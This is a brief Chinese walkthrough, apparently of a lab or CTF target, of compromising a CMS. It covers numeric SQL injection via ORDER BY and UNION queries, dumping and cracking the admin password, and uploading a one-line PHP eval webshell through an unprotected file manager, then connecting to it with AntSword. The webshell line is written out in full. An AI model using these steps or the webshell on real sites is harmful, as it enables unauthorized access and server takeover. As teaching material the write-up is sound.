点击文章发现

尝试进行sql注入


得到漏洞为数字型
通过order by语句得到字段总数为15


通过union联合查询得到显示的字段编号

将database()带入得到数据库名为cms

接下来就是查表名、字段名、具体数据



发现密码经过加密，尝试解密

通过解密得知admin账户的密码为123456
登陆后台

文件管理界面存在文件上传漏洞，尝试上传webshell

1	<?php @eval($_POST[777])?>

未做任何防护，上传成功！
用蚁剑连接webshell


连接成功！